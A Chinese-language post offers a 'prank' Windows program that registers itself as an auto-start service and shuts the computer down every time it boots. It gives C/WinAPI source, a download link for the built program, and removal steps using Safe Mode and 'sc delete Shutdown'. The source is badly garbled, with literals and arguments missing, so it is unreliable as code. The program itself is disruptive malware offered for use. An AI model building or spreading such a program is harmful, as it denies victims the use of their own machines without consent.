實現一個開機自動啟動的關機程序,具體代碼如下:
#include <Windows.h> WINAPI WinMain( __in HINSTANCE hInstance, __in_opt HINSTANCE hPrevInstance, __in_opt LPSTR lpCmdLine, __in SERVICE_TABLE_ENTRY st[] = {TEXT( (! schSCManager = (! MessageBox(NULL, TEXT(), TEXT(), MB_OK | schService = OpenService(schSCManager, TEXT( (! MessageBox(NULL, TEXT(), TEXT(), MB_OK | BOOL b = StartService(schService, status.dwWin32ExitCode = status.dwCurrentState = SetServiceStatus(hServiceStatus, & status.dwServiceType = status.dwCurrentState = status.dwControlsAccepted = SERVICE_ACCEPT_STOP | status.dwWin32ExitCode = status.dwServiceSpecificExitCode = status.dwCheckPoint = status.dwWaitHint = hServiceStatus = RegisterServiceCtrlHandler(TEXT( ((SERVICE_STATUS_HANDLE) == status.dwCurrentState = SetServiceStatus(hServiceStatus, & os.dwOSVersionInfoSize = GetVersionEx(& (VER_PLATFORM_WIN32_NT == OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, & LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[ tkp.PrivilegeCount = tkp.Privileges[].Attributes = AdjustTokenPrivileges(handle, FALSE, &tkp, , (PTOKEN_PRIVILEGES)NULL, (GetLastError() != MessageBox(NULL, TEXT(), TEXT(), MB_OK | ExitWindowsEx(EWX_SHUTDOWN, BOOL bResult = SC_HANDLE schSCManager = SC_HANDLE schService = OpenService(schSCManager, TEXT( bResult = MessageBox(NULL, TEXT(), TEXT(), MB_OK | SC_HANDLE schSCManager = (! MessageBox(NULL, TEXT(), TEXT(), MB_OK | SC_HANDLE schService = CreateService(schSCManager, TEXT(), TEXT(), SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_NORMAL, szFilePath, NULL, NULL, TEXT( (! MessageBox(NULL, TEXT(), TEXT(), MB_OK | }
本程序是開機自動關機的惡搞程序,本人親自在物理機上測試,在windows server 2008 r2 enterprise版本的系統下測試通過。要解除本惡搞程序對你造成的不便,可以在開機時按F8進入安全模式下刪除名字為Shutdown的服務即可。 輸入命令: sc delete Shutdown
程序下載連接:http://pan.baidu.com/share/link?shareid=329612&uk=638387423